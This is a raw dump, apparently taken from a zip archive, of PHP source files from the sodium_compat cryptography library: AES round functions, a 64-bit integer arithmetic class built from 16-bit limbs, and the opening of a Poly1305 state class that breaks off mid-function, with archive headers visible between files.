string[] */ public static function doubleRound($b0, $rk0, $b1, $rk1) { $q = ParagonIE_Sodium_Core_AES_Block::init(); // First block $q[0] = self::load_4(self::substr($b0, 0, 4)); $q[2] = self::load_4(self::substr($b0, 4, 4)); $q[4] = self::load_4(self::substr($b0, 8, 4)); $q[6] = self::load_4(self::substr($b0, 12, 4)); // Second block $q[1] = self::load_4(self::substr($b1, 0, 4)); $q[3] = self::load_4(self::substr($b1, 4, 4)); $q[5] = self::load_4(self::substr($b1, 8, 4)); $q[7] = self::load_4(self::substr($b1, 12, 4));; $rk = ParagonIE_Sodium_Core_AES_Block::init(); // First round key $rk[0] = self::load_4(self::substr($rk0, 0, 4)); $rk[2] = self::load_4(self::substr($rk0, 4, 4)); $rk[4] = self::load_4(self::substr($rk0, 8, 4)); $rk[6] = self::load_4(self::substr($rk0, 12, 4)); // Second round key $rk[1] = self::load_4(self::substr($rk1, 0, 4)); $rk[3] = self::load_4(self::substr($rk1, 4, 4)); $rk[5] = self::load_4(self::substr($rk1, 8, 4)); $rk[7] = self::load_4(self::substr($rk1, 12, 4)); $q->orthogonalize(); self::sbox($q); $q->shiftRows(); $q->mixColumns(); $q->orthogonalize(); // add round key without key schedule: for ($i = 0; $i < 8; ++$i) { $q[$i] ^= $rk[$i]; } return array( self::store32_le($q[0]) . self::store32_le($q[2]) . self::store32_le($q[4]) . self::store32_le($q[6]), self::store32_le($q[1]) . self::store32_le($q[3]) . self::store32_le($q[5]) . self::store32_le($q[7]), ); } /** * @param ParagonIE_Sodium_Core_AES_Expanded $skey * @param ParagonIE_Sodium_Core_AES_Block $q * @return void */ public static function bitsliceDecryptBlock( ParagonIE_Sodium_Core_AES_Expanded $skey, ParagonIE_Sodium_Core_AES_Block $q ) { self::addRoundKey($q, $skey, ($skey->getNumRounds() << 3)); for ($u = $skey->getNumRounds() - 1; $u > 0; --$u) { $q->inverseShiftRows(); self::invSbox($q); self::addRoundKey($q, $skey, ($u << 3)); $q->inverseMixColumns(); } $q->inverseShiftRows(); self::invSbox($q); self::addRoundKey($q, $skey, ($u << 3)); } } PK+L[=/yysrc/Core32/Int64.phpnu[ - four 16-bit integers */ public $limbs = array(0, 0, 0, 0); /** * @var int */ public $overflow = 0; /** * @var bool */ public $unsignedInt = false; /** * ParagonIE_Sodium_Core32_Int64 constructor. * @param array $array * @param bool $unsignedInt */ public function __construct($array = array(0, 0, 0, 0), $unsignedInt = false) { $this->limbs = array( (int) $array[0], (int) $array[1], (int) $array[2], (int) $array[3] ); $this->overflow = 0; $this->unsignedInt = $unsignedInt; } /** * Adds two int64 objects * * @param ParagonIE_Sodium_Core32_Int64 $addend * @return ParagonIE_Sodium_Core32_Int64 */ public function addInt64(ParagonIE_Sodium_Core32_Int64 $addend) { $i0 = $this->limbs[0]; $i1 = $this->limbs[1]; $i2 = $this->limbs[2]; $i3 = $this->limbs[3]; $j0 = $addend->limbs[0]; $j1 = $addend->limbs[1]; $j2 = $addend->limbs[2]; $j3 = $addend->limbs[3]; $r3 = $i3 + ($j3 & 0xffff); $carry = $r3 >> 16; $r2 = $i2 + ($j2 & 0xffff) + $carry; $carry = $r2 >> 16; $r1 = $i1 + ($j1 & 0xffff) + $carry; $carry = $r1 >> 16; $r0 = $i0 + ($j0 & 0xffff) + $carry; $carry = $r0 >> 16; $r0 &= 0xffff; $r1 &= 0xffff; $r2 &= 0xffff; $r3 &= 0xffff; $return = new ParagonIE_Sodium_Core32_Int64( array($r0, $r1, $r2, $r3) ); $return->overflow = $carry; $return->unsignedInt = $this->unsignedInt; return $return; } /** * Adds a normal integer to an int64 object * * @param int $int * @return ParagonIE_Sodium_Core32_Int64 * @throws SodiumException * @throws TypeError */ public function addInt($int) { ParagonIE_Sodium_Core32_Util::declareScalarType($int, 'int', 1); /** @var int $int */ $int = (int) $int; $i0 = $this->limbs[0]; $i1 = $this->limbs[1]; $i2 = $this->limbs[2]; $i3 = $this->limbs[3]; $r3 = $i3 + ($int & 0xffff); $carry = $r3 >> 16; $r2 = $i2 + (($int >> 16) & 0xffff) + $carry; $carry = $r2 >> 16; $r1 = $i1 + $carry; $carry = $r1 >> 16; $r0 = $i0 + $carry; $carry = $r0 >> 16; $r0 &= 0xffff; $r1 &= 0xffff; $r2 &= 0xffff; $r3 &= 0xffff; $return = new ParagonIE_Sodium_Core32_Int64( array($r0, $r1, $r2, $r3) ); $return->overflow = $carry; $return->unsignedInt = $this->unsignedInt; return $return; } /** * @param int $b * @return int */ public function compareInt($b = 0) { $gt = 0; $eq = 1; $i = 4; $j = 0; while ($i > 0) { --$i; /** @var int $x1 */ $x1 = $this->limbs[$i]; /** @var int $x2 */ $x2 = ($b >> ($j << 4)) & 0xffff; /** int */ $gt |= (($x2 - $x1) >> 8) & $eq; /** int */ $eq &= (($x2 ^ $x1) - 1) >> 8; } return ($gt + $gt - $eq) + 1; } /** * @param int $b * @return bool */ public function isGreaterThan($b = 0) { return $this->compareInt($b) > 0; } /** * @param int $b * @return bool */ public function isLessThanInt($b = 0) { return $this->compareInt($b) < 0; } /** * @param int $hi * @param int $lo * @return ParagonIE_Sodium_Core32_Int64 */ public function mask64($hi = 0, $lo = 0) { /** @var int $a */ $a = ($hi >> 16) & 0xffff; /** @var int $b */ $b = ($hi) & 0xffff; /** @var int $c */ $c = ($lo >> 16) & 0xffff; /** @var int $d */ $d = ($lo & 0xffff); return new ParagonIE_Sodium_Core32_Int64( array( $this->limbs[0] & $a, $this->limbs[1] & $b, $this->limbs[2] & $c, $this->limbs[3] & $d ), $this->unsignedInt ); } /** * @param int $int * @param int $size * @return ParagonIE_Sodium_Core32_Int64 * @throws SodiumException * @throws TypeError * @psalm-suppress MixedAssignment */ public function mulInt($int = 0, $size = 0) { if (ParagonIE_Sodium_Compat::$fastMult) { return $this->mulIntFast($int); } ParagonIE_Sodium_Core32_Util::declareScalarType($int, 'int', 1); ParagonIE_Sodium_Core32_Util::declareScalarType($size, 'int', 2); /** @var int $int */ $int = (int) $int; /** @var int $size */ $size = (int) $size; if (!$size) { $size = 63; } $a = clone $this; $return = new ParagonIE_Sodium_Core32_Int64(); $return->unsignedInt = $this->unsignedInt; // Initialize: $ret0 = 0; $ret1 = 0; $ret2 = 0; $ret3 = 0; $a0 = $a->limbs[0]; $a1 = $a->limbs[1]; $a2 = $a->limbs[2]; $a3 = $a->limbs[3]; /** @var int $size */ /** @var int $i */ for ($i = $size; $i >= 0; --$i) { $mask = -($int & 1); $x0 = $a0 & $mask; $x1 = $a1 & $mask; $x2 = $a2 & $mask; $x3 = $a3 & $mask; $ret3 += $x3; $c = $ret3 >> 16; $ret2 += $x2 + $c; $c = $ret2 >> 16; $ret1 += $x1 + $c; $c = $ret1 >> 16; $ret0 += $x0 + $c; $ret0 &= 0xffff; $ret1 &= 0xffff; $ret2 &= 0xffff; $ret3 &= 0xffff; $a3 = $a3 << 1; $x3 = $a3 >> 16; $a2 = ($a2 << 1) | $x3; $x2 = $a2 >> 16; $a1 = ($a1 << 1) | $x2; $x1 = $a1 >> 16; $a0 = ($a0 << 1) | $x1; $a0 &= 0xffff; $a1 &= 0xffff; $a2 &= 0xffff; $a3 &= 0xffff; $int >>= 1; } $return->limbs[0] = $ret0; $return->limbs[1] = $ret1; $return->limbs[2] = $ret2; $return->limbs[3] = $ret3; return $return; } /** * @param ParagonIE_Sodium_Core32_Int64 $A * @param ParagonIE_Sodium_Core32_Int64 $B * @return array * @throws SodiumException * @throws TypeError * @psalm-suppress MixedInferredReturnType */ public static function ctSelect( ParagonIE_Sodium_Core32_Int64 $A, ParagonIE_Sodium_Core32_Int64 $B ) { $a = clone $A; $b = clone $B; /** @var int $aNeg */ $aNeg = ($a->limbs[0] >> 15) & 1; /** @var int $bNeg */ $bNeg = ($b->limbs[0] >> 15) & 1; /** @var int $m */ $m = (-($aNeg & $bNeg)) | 1; /** @var int $swap */ $swap = $bNeg & ~$aNeg; /** @var int $d */ $d = -$swap; /* if ($bNeg && !$aNeg) { $a = clone $int; $b = clone $this; } elseif($bNeg && $aNeg) { $a = $this->mulInt(-1); $b = $int->mulInt(-1); } */ $x = $a->xorInt64($b)->mask64($d, $d); return array( $a->xorInt64($x)->mulInt($m), $b->xorInt64($x)->mulInt($m) ); } /** * @param array $a * @param array $b * @param int $baseLog2 * @return array */ public function multiplyLong(array $a, array $b, $baseLog2 = 16) { $a_l = count($a); $b_l = count($b); /** @var array $r */ $r = array_fill(0, $a_l + $b_l + 1, 0); $base = 1 << $baseLog2; for ($i = 0; $i < $a_l; ++$i) { $a_i = $a[$i]; for ($j = 0; $j < $a_l; ++$j) { $b_j = $b[$j]; $product = (($a_i * $b_j) + $r[$i + $j]); $carry = (((int) $product >> $baseLog2) & 0xffff); $r[$i + $j] = ((int) $product - (int) ($carry * $base)) & 0xffff; $r[$i + $j + 1] += $carry; } } return array_slice($r, 0, 5); } /** * @param int $int * @return ParagonIE_Sodium_Core32_Int64 */ public function mulIntFast($int) { // Handle negative numbers $aNeg = ($this->limbs[0] >> 15) & 1; $bNeg = ($int >> 31) & 1; $a = array_reverse($this->limbs); $b = array( $int & 0xffff, ($int >> 16) & 0xffff, -$bNeg & 0xffff, -$bNeg & 0xffff ); if ($aNeg) { for ($i = 0; $i < 4; ++$i) { $a[$i] = ($a[$i] ^ 0xffff) & 0xffff; } ++$a[0]; } if ($bNeg) { for ($i = 0; $i < 4; ++$i) { $b[$i] = ($b[$i] ^ 0xffff) & 0xffff; } ++$b[0]; } // Multiply $res = $this->multiplyLong($a, $b); // Re-apply negation to results if ($aNeg !== $bNeg) { for ($i = 0; $i < 4; ++$i) { $res[$i] = (0xffff ^ $res[$i]) & 0xffff; } // Handle integer overflow $c = 1; for ($i = 0; $i < 4; ++$i) { $res[$i] += $c; $c = $res[$i] >> 16; $res[$i] &= 0xffff; } } // Return our values $return = new ParagonIE_Sodium_Core32_Int64(); $return->limbs = array( $res[3] & 0xffff, $res[2] & 0xffff, $res[1] & 0xffff, $res[0] & 0xffff ); if (count($res) > 4) { $return->overflow = $res[4] & 0xffff; } $return->unsignedInt = $this->unsignedInt; return $return; } /** * @param ParagonIE_Sodium_Core32_Int64 $right * @return ParagonIE_Sodium_Core32_Int64 */ public function mulInt64Fast(ParagonIE_Sodium_Core32_Int64 $right) { $aNeg = ($this->limbs[0] >> 15) & 1; $bNeg = ($right->limbs[0] >> 15) & 1; $a = array_reverse($this->limbs); $b = array_reverse($right->limbs); if ($aNeg) { for ($i = 0; $i < 4; ++$i) { $a[$i] = ($a[$i] ^ 0xffff) & 0xffff; } ++$a[0]; } if ($bNeg) { for ($i = 0; $i < 4; ++$i) { $b[$i] = ($b[$i] ^ 0xffff) & 0xffff; } ++$b[0]; } $res = $this->multiplyLong($a, $b); if ($aNeg !== $bNeg) { if ($aNeg !== $bNeg) { for ($i = 0; $i < 4; ++$i) { $res[$i] = ($res[$i] ^ 0xffff) & 0xffff; } $c = 1; for ($i = 0; $i < 4; ++$i) { $res[$i] += $c; $c = $res[$i] >> 16; $res[$i] &= 0xffff; } } } $return = new ParagonIE_Sodium_Core32_Int64(); $return->limbs = array( $res[3] & 0xffff, $res[2] & 0xffff, $res[1] & 0xffff, $res[0] & 0xffff ); if (count($res) > 4) { $return->overflow = $res[4]; } return $return; } /** * @param ParagonIE_Sodium_Core32_Int64 $int * @param int $size * @return ParagonIE_Sodium_Core32_Int64 * @throws SodiumException * @throws TypeError * @psalm-suppress MixedAssignment */ public function mulInt64(ParagonIE_Sodium_Core32_Int64 $int, $size = 0) { if (ParagonIE_Sodium_Compat::$fastMult) { return $this->mulInt64Fast($int); } ParagonIE_Sodium_Core32_Util::declareScalarType($size, 'int', 2); if (!$size) { $size = 63; } list($a, $b) = self::ctSelect($this, $int); $return = new ParagonIE_Sodium_Core32_Int64(); $return->unsignedInt = $this->unsignedInt; // Initialize: $ret0 = 0; $ret1 = 0; $ret2 = 0; $ret3 = 0; $a0 = $a->limbs[0]; $a1 = $a->limbs[1]; $a2 = $a->limbs[2]; $a3 = $a->limbs[3]; $b0 = $b->limbs[0]; $b1 = $b->limbs[1]; $b2 = $b->limbs[2]; $b3 = $b->limbs[3]; /** @var int $size */ /** @var int $i */ for ($i = (int) $size; $i >= 0; --$i) { $mask = -($b3 & 1); $x0 = $a0 & $mask; $x1 = $a1 & $mask; $x2 = $a2 & $mask; $x3 = $a3 & $mask; $ret3 += $x3; $c = $ret3 >> 16; $ret2 += $x2 + $c; $c = $ret2 >> 16; $ret1 += $x1 + $c; $c = $ret1 >> 16; $ret0 += $x0 + $c; $ret0 &= 0xffff; $ret1 &= 0xffff; $ret2 &= 0xffff; $ret3 &= 0xffff; $a3 = $a3 << 1; $x3 = $a3 >> 16; $a2 = ($a2 << 1) | $x3; $x2 = $a2 >> 16; $a1 = ($a1 << 1) | $x2; $x1 = $a1 >> 16; $a0 = ($a0 << 1) | $x1; $a0 &= 0xffff; $a1 &= 0xffff; $a2 &= 0xffff; $a3 &= 0xffff; $x0 = ($b0 & 1) << 16; $x1 = ($b1 & 1) << 16; $x2 = ($b2 & 1) << 16; $b0 = ($b0 >> 1); $b1 = (($b1 | $x0) >> 1); $b2 = (($b2 | $x1) >> 1); $b3 = (($b3 | $x2) >> 1); $b0 &= 0xffff; $b1 &= 0xffff; $b2 &= 0xffff; $b3 &= 0xffff; } $return->limbs[0] = $ret0; $return->limbs[1] = $ret1; $return->limbs[2] = $ret2; $return->limbs[3] = $ret3; return $return; } /** * OR this 64-bit integer with another. * * @param ParagonIE_Sodium_Core32_Int64 $b * @return ParagonIE_Sodium_Core32_Int64 */ public function orInt64(ParagonIE_Sodium_Core32_Int64 $b) { $return = new ParagonIE_Sodium_Core32_Int64(); $return->unsignedInt = $this->unsignedInt; $return->limbs = array( (int) ($this->limbs[0] | $b->limbs[0]), (int) ($this->limbs[1] | $b->limbs[1]), (int) ($this->limbs[2] | $b->limbs[2]), (int) ($this->limbs[3] | $b->limbs[3]) ); return $return; } /** * @param int $c * @return ParagonIE_Sodium_Core32_Int64 * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArrayAccess */ public function rotateLeft($c = 0) { ParagonIE_Sodium_Core32_Util::declareScalarType($c, 'int', 1); /** @var int $c */ $c = (int) $c; $return = new ParagonIE_Sodium_Core32_Int64(); $return->unsignedInt = $this->unsignedInt; $c &= 63; if ($c === 0) { // NOP, but we want a copy. $return->limbs = $this->limbs; } else { /** @var array $limbs */ $limbs =& $return->limbs; /** @var array $myLimbs */ $myLimbs =& $this->limbs; /** @var int $idx_shift */ $idx_shift = ($c >> 4) & 3; /** @var int $sub_shift */ $sub_shift = $c & 15; for ($i = 3; $i >= 0; --$i) { /** @var int $j */ $j = ($i + $idx_shift) & 3; /** @var int $k */ $k = ($i + $idx_shift + 1) & 3; $limbs[$i] = (int) ( ( ((int) ($myLimbs[$j]) << $sub_shift) | ((int) ($myLimbs[$k]) >> (16 - $sub_shift)) ) & 0xffff ); } } return $return; } /** * Rotate to the right * * @param int $c * @return ParagonIE_Sodium_Core32_Int64 * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArrayAccess */ public function rotateRight($c = 0) { ParagonIE_Sodium_Core32_Util::declareScalarType($c, 'int', 1); /** @var int $c */ $c = (int) $c; /** @var ParagonIE_Sodium_Core32_Int64 $return */ $return = new ParagonIE_Sodium_Core32_Int64(); $return->unsignedInt = $this->unsignedInt; $c &= 63; /** @var int $c */ if ($c === 0) { // NOP, but we want a copy. $return->limbs = $this->limbs; } else { /** @var array $limbs */ $limbs =& $return->limbs; /** @var array $myLimbs */ $myLimbs =& $this->limbs; /** @var int $idx_shift */ $idx_shift = ($c >> 4) & 3; /** @var int $sub_shift */ $sub_shift = $c & 15; for ($i = 3; $i >= 0; --$i) { /** @var int $j */ $j = ($i - $idx_shift) & 3; /** @var int $k */ $k = ($i - $idx_shift - 1) & 3; $limbs[$i] = (int) ( ( ((int) ($myLimbs[$j]) >> (int) ($sub_shift)) | ((int) ($myLimbs[$k]) << (16 - (int) ($sub_shift))) ) & 0xffff ); } } return $return; } /** * @param int $c * @return ParagonIE_Sodium_Core32_Int64 * @throws SodiumException * @throws TypeError */ public function shiftLeft($c = 0) { ParagonIE_Sodium_Core32_Util::declareScalarType($c, 'int', 1); /** @var int $c */ $c = (int) $c; $return = new ParagonIE_Sodium_Core32_Int64(); $return->unsignedInt = $this->unsignedInt; $c &= 63; if ($c >= 16) { if ($c >= 48) { $return->limbs = array( $this->limbs[3], 0, 0, 0 ); } elseif ($c >= 32) { $return->limbs = array( $this->limbs[2], $this->limbs[3], 0, 0 ); } else { $return->limbs = array( $this->limbs[1], $this->limbs[2], $this->limbs[3], 0 ); } return $return->shiftLeft($c & 15); } if ($c === 0) { $return->limbs = $this->limbs; } elseif ($c < 0) { /** @var int $c */ return $this->shiftRight(-$c); } else { if (!is_int($c)) { throw new TypeError(); } /** @var int $carry */ $carry = 0; for ($i = 3; $i >= 0; --$i) { /** @var int $tmp */ $tmp = ($this->limbs[$i] << $c) | ($carry & 0xffff); $return->limbs[$i] = (int) ($tmp & 0xffff); /** @var int $carry */ $carry = $tmp >> 16; } } return $return; } /** * @param int $c * @return ParagonIE_Sodium_Core32_Int64 * @throws SodiumException * @throws TypeError */ public function shiftRight($c = 0) { ParagonIE_Sodium_Core32_Util::declareScalarType($c, 'int', 1); $c = (int) $c; /** @var int $c */ $return = new ParagonIE_Sodium_Core32_Int64(); $return->unsignedInt = $this->unsignedInt; $c &= 63; $negative = -(($this->limbs[0] >> 15) & 1); if ($c >= 16) { if ($c >= 48) { $return->limbs = array( (int) ($negative & 0xffff), (int) ($negative & 0xffff), (int) ($negative & 0xffff), (int) $this->limbs[0] ); } elseif ($c >= 32) { $return->limbs = array( (int) ($negative & 0xffff), (int) ($negative & 0xffff), (int) $this->limbs[0], (int) $this->limbs[1] ); } else { $return->limbs = array( (int) ($negative & 0xffff), (int) $this->limbs[0], (int) $this->limbs[1], (int) $this->limbs[2] ); } return $return->shiftRight($c & 15); } if ($c === 0) { $return->limbs = $this->limbs; } elseif ($c < 0) { return $this->shiftLeft(-$c); } else { if (!is_int($c)) { throw new TypeError(); } /** @var int $carryRight */ $carryRight = ($negative & 0xffff); $mask = (int) (((1 << ($c + 1)) - 1) & 0xffff); for ($i = 0; $i < 4; ++$i) { $return->limbs[$i] = (int) ( (($this->limbs[$i] >> $c) | ($carryRight << (16 - $c))) & 0xffff ); $carryRight = (int) ($this->limbs[$i] & $mask); } } return $return; } /** * Subtract a normal integer from an int64 object. * * @param int $int * @return ParagonIE_Sodium_Core32_Int64 * @throws SodiumException * @throws TypeError */ public function subInt($int) { ParagonIE_Sodium_Core32_Util::declareScalarType($int, 'int', 1); $int = (int) $int; $return = new ParagonIE_Sodium_Core32_Int64(); $return->unsignedInt = $this->unsignedInt; /** @var int $carry */ $carry = 0; for ($i = 3; $i >= 0; --$i) { /** @var int $tmp */ $tmp = $this->limbs[$i] - (($int >> 16) & 0xffff) + $carry; /** @var int $carry */ $carry = $tmp >> 16; $return->limbs[$i] = (int) ($tmp & 0xffff); } return $return; } /** * The difference between two Int64 objects. * * @param ParagonIE_Sodium_Core32_Int64 $b * @return ParagonIE_Sodium_Core32_Int64 */ public function subInt64(ParagonIE_Sodium_Core32_Int64 $b) { $return = new ParagonIE_Sodium_Core32_Int64(); $return->unsignedInt = $this->unsignedInt; /** @var int $carry */ $carry = 0; for ($i = 3; $i >= 0; --$i) { /** @var int $tmp */ $tmp = $this->limbs[$i] - $b->limbs[$i] + $carry; /** @var int $carry */ $carry = ($tmp >> 16); $return->limbs[$i] = (int) ($tmp & 0xffff); } return $return; } /** * XOR this 64-bit integer with another. * * @param ParagonIE_Sodium_Core32_Int64 $b * @return ParagonIE_Sodium_Core32_Int64 */ public function xorInt64(ParagonIE_Sodium_Core32_Int64 $b) { $return = new ParagonIE_Sodium_Core32_Int64(); $return->unsignedInt = $this->unsignedInt; $return->limbs = array( (int) ($this->limbs[0] ^ $b->limbs[0]), (int) ($this->limbs[1] ^ $b->limbs[1]), (int) ($this->limbs[2] ^ $b->limbs[2]), (int) ($this->limbs[3] ^ $b->limbs[3]) ); return $return; } /** * @param int $low * @param int $high * @return self * @throws SodiumException * @throws TypeError */ public static function fromInts($low, $high) { ParagonIE_Sodium_Core32_Util::declareScalarType($low, 'int', 1); ParagonIE_Sodium_Core32_Util::declareScalarType($high, 'int', 2); $high = (int) $high; $low = (int) $low; return new ParagonIE_Sodium_Core32_Int64( array( (int) (($high >> 16) & 0xffff), (int) ($high & 0xffff), (int) (($low >> 16) & 0xffff), (int) ($low & 0xffff) ) ); } /** * @param int $low * @return self * @throws SodiumException * @throws TypeError */ public static function fromInt($low) { ParagonIE_Sodium_Core32_Util::declareScalarType($low, 'int', 1); $low = (int) $low; return new ParagonIE_Sodium_Core32_Int64( array( 0, 0, (int) (($low >> 16) & 0xffff), (int) ($low & 0xffff) ) ); } /** * @return int */ public function toInt() { return (int) ( (($this->limbs[2] & 0xffff) << 16) | ($this->limbs[3] & 0xffff) ); } /** * @param string $string * @return self * @throws SodiumException * @throws TypeError */ public static function fromString($string) { ParagonIE_Sodium_Core32_Util::declareScalarType($string, 'string', 1); $string = (string) $string; if (ParagonIE_Sodium_Core32_Util::strlen($string) !== 8) { throw new RangeException( 'String must be 8 bytes; ' . ParagonIE_Sodium_Core32_Util::strlen($string) . ' given.' ); } $return = new ParagonIE_Sodium_Core32_Int64(); $return->limbs[0] = (int) ((ParagonIE_Sodium_Core32_Util::chrToInt($string[0]) & 0xff) << 8); $return->limbs[0] |= (ParagonIE_Sodium_Core32_Util::chrToInt($string[1]) & 0xff); $return->limbs[1] = (int) ((ParagonIE_Sodium_Core32_Util::chrToInt($string[2]) & 0xff) << 8); $return->limbs[1] |= (ParagonIE_Sodium_Core32_Util::chrToInt($string[3]) & 0xff); $return->limbs[2] = (int) ((ParagonIE_Sodium_Core32_Util::chrToInt($string[4]) & 0xff) << 8); $return->limbs[2] |= (ParagonIE_Sodium_Core32_Util::chrToInt($string[5]) & 0xff); $return->limbs[3] = (int) ((ParagonIE_Sodium_Core32_Util::chrToInt($string[6]) & 0xff) << 8); $return->limbs[3] |= (ParagonIE_Sodium_Core32_Util::chrToInt($string[7]) & 0xff); return $return; } /** * @param string $string * @return self * @throws SodiumException * @throws TypeError */ public static function fromReverseString($string) { ParagonIE_Sodium_Core32_Util::declareScalarType($string, 'string', 1); $string = (string) $string; if (ParagonIE_Sodium_Core32_Util::strlen($string) !== 8) { throw new RangeException( 'String must be 8 bytes; ' . ParagonIE_Sodium_Core32_Util::strlen($string) . ' given.' ); } $return = new ParagonIE_Sodium_Core32_Int64(); $return->limbs[0] = (int) ((ParagonIE_Sodium_Core32_Util::chrToInt($string[7]) & 0xff) << 8); $return->limbs[0] |= (ParagonIE_Sodium_Core32_Util::chrToInt($string[6]) & 0xff); $return->limbs[1] = (int) ((ParagonIE_Sodium_Core32_Util::chrToInt($string[5]) & 0xff) << 8); $return->limbs[1] |= (ParagonIE_Sodium_Core32_Util::chrToInt($string[4]) & 0xff); $return->limbs[2] = (int) ((ParagonIE_Sodium_Core32_Util::chrToInt($string[3]) & 0xff) << 8); $return->limbs[2] |= (ParagonIE_Sodium_Core32_Util::chrToInt($string[2]) & 0xff); $return->limbs[3] = (int) ((ParagonIE_Sodium_Core32_Util::chrToInt($string[1]) & 0xff) << 8); $return->limbs[3] |= (ParagonIE_Sodium_Core32_Util::chrToInt($string[0]) & 0xff); return $return; } /** * @return array */ public function toArray() { return array( (int) ((($this->limbs[0] & 0xffff) << 16) | ($this->limbs[1] & 0xffff)), (int) ((($this->limbs[2] & 0xffff) << 16) | ($this->limbs[3] & 0xffff)) ); } /** * @return ParagonIE_Sodium_Core32_Int32 */ public function toInt32() { $return = new ParagonIE_Sodium_Core32_Int32(); $return->limbs[0] = (int) ($this->limbs[2]); $return->limbs[1] = (int) ($this->limbs[3]); $return->unsignedInt = $this->unsignedInt; $return->overflow = (int) (ParagonIE_Sodium_Core32_Util::abs($this->limbs[1], 16) & 0xffff); return $return; } /** * @return ParagonIE_Sodium_Core32_Int64 */ public function toInt64() { $return = new ParagonIE_Sodium_Core32_Int64(); $return->limbs[0] = (int) ($this->limbs[0]); $return->limbs[1] = (int) ($this->limbs[1]); $return->limbs[2] = (int) ($this->limbs[2]); $return->limbs[3] = (int) ($this->limbs[3]); $return->unsignedInt = $this->unsignedInt; $return->overflow = ParagonIE_Sodium_Core32_Util::abs($this->overflow); return $return; } /** * @param bool $bool * @return self */ public function setUnsignedInt($bool = false) { $this->unsignedInt = !empty($bool); return $this; } /** * @return string * @throws TypeError */ public function toString() { return ParagonIE_Sodium_Core32_Util::intToChr(($this->limbs[0] >> 8) & 0xff) . ParagonIE_Sodium_Core32_Util::intToChr($this->limbs[0] & 0xff) . ParagonIE_Sodium_Core32_Util::intToChr(($this->limbs[1] >> 8) & 0xff) . ParagonIE_Sodium_Core32_Util::intToChr($this->limbs[1] & 0xff) . ParagonIE_Sodium_Core32_Util::intToChr(($this->limbs[2] >> 8) & 0xff) . ParagonIE_Sodium_Core32_Util::intToChr($this->limbs[2] & 0xff) . ParagonIE_Sodium_Core32_Util::intToChr(($this->limbs[3] >> 8) & 0xff) . ParagonIE_Sodium_Core32_Util::intToChr($this->limbs[3] & 0xff); } /** * @return string * @throws TypeError */ public function toReverseString() { return ParagonIE_Sodium_Core32_Util::intToChr($this->limbs[3] & 0xff) . ParagonIE_Sodium_Core32_Util::intToChr(($this->limbs[3] >> 8) & 0xff) . ParagonIE_Sodium_Core32_Util::intToChr($this->limbs[2] & 0xff) . ParagonIE_Sodium_Core32_Util::intToChr(($this->limbs[2] >> 8) & 0xff) . ParagonIE_Sodium_Core32_Util::intToChr($this->limbs[1] & 0xff) . ParagonIE_Sodium_Core32_Util::intToChr(($this->limbs[1] >> 8) & 0xff) . ParagonIE_Sodium_Core32_Util::intToChr($this->limbs[0] & 0xff) . ParagonIE_Sodium_Core32_Util::intToChr(($this->limbs[0] >> 8) & 0xff); } /** * @return string */ public function __toString() { try { return $this->toString(); } catch (TypeError $ex) { // PHP engine can't handle exceptions from __toString() return ''; } } } PK+L[F&bccsrc/Core32/XSalsa20.phpnu[]>src/Core32/Poly1305/State.phpnu[ */ protected $buffer = array(); /** * @var bool */ protected $final = false; /** * @var array */ public $h; /** * @var int */ protected $leftover = 0; /** * @var array */ public $r; /** * @var array */ public $pad; /** * ParagonIE_Sodium_Core32_Poly1305_State constructor. * * @internal You should not use this directly from another application * * @param string $key * @throws InvalidArgumentException * @throws SodiumException * @throws TypeError */ public function __construct($key = '') { if (self::strlen($key) < 32) { throw new InvalidArgumentException( 'Poly1305 requires a 32-byte key' ); } /* r &= 0xffffffc0ffffffc0ffffffc0fffffff */ $this->r = array( // st->r[0] = ... ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 0, 4)) ->setUnsignedInt(true) ->mask(0x3ffffff), // st->r[1] = ... ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 3, 4)) ->setUnsignedInt(true) ->shiftRight(2) ->mask(0x3ffff03), // st->r[2] = ... ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 6, 4)) ->setUnsignedInt(true) ->shiftRight(4) ->mask(0x3ffc0ff), // st->r[3] = ... ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 9, 4)) ->setUnsignedInt(true) ->shiftRight(6) ->mask(0x3f03fff), // st->r[4] = ... ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 12, 4)) ->setUnsignedInt(true) ->shiftRight(8) ->mask(0x00fffff) ); /* h = 0 */ $this->h = array( new ParagonIE_Sodium_Core32_Int32(array(0, 0), true), new ParagonIE_Sodium_Core32_Int32(array(0, 0), true), new ParagonIE_Sodium_Core32_Int32(array(0, 0), true), new ParagonIE_Sodium_Core32_Int32(array(0, 0), true), new ParagonIE_Sodium_Core32_Int32(array(0, 0), true) ); /* save pad for later */ $this->pad = array( ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 16, 4)) ->setUnsignedInt(true)->toInt64(), ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 20, 4)) ->setUnsignedInt(true)->toInt64(), ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 24, 4)) ->setUnsignedInt(true)->toInt64(), ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 28, 4)) ->setUnsignedInt(true)->toInt64(), ); $this->leftover = 0; $this->final = false; } /** * @internal You should not use this directly from another application * * @param string $message * @return self * @throws SodiumException * @throws TypeError */ public function update($message = '') { $bytes = self::strlen($message); /* handle leftover */ if ($this->leftover) { /** @var int $want */ $want = ParagonIE_Sodium_Core32_Poly1305::BLOCK_SIZE - $this->leftover; if ($want > $bytes) { $want = $bytes; } for ($i = 0; $i < $want; ++$i) { $mi = self::chrToInt($message[$i]); $this->buffer[$this->leftover + $i] = $mi; } // We snip off the leftmost bytes. $message = self::substr($message, $want); $bytes = self::strlen($message); $this->leftover += $want; if ($this->leftover < ParagonIE_Sodium_Core32_Poly1305::BLOCK_SIZE) { // We still don't have enough to run $this->blocks() return $this; } $this->blocks( self::intArrayToString($this->buffer), ParagonIE_Sodium_Core32_Poly1305::BLOCK_SIZE ); $this->leftover = 0; } /* process full blocks */ if ($bytes >= ParagonIE_Sodium_Core32_Poly1305::BLOCK_SIZE) { /** @var int $want */ $want = $bytes & ~(ParagonIE_Sodium_Core32_Poly1305::BLOCK_SIZE - 1); if ($want >= ParagonIE_Sodium_Core32_Poly1305::BLOCK_SIZE) { /** @var string $block */ $block = self::substr($message, 0, $want); if (self::strlen($block) >= 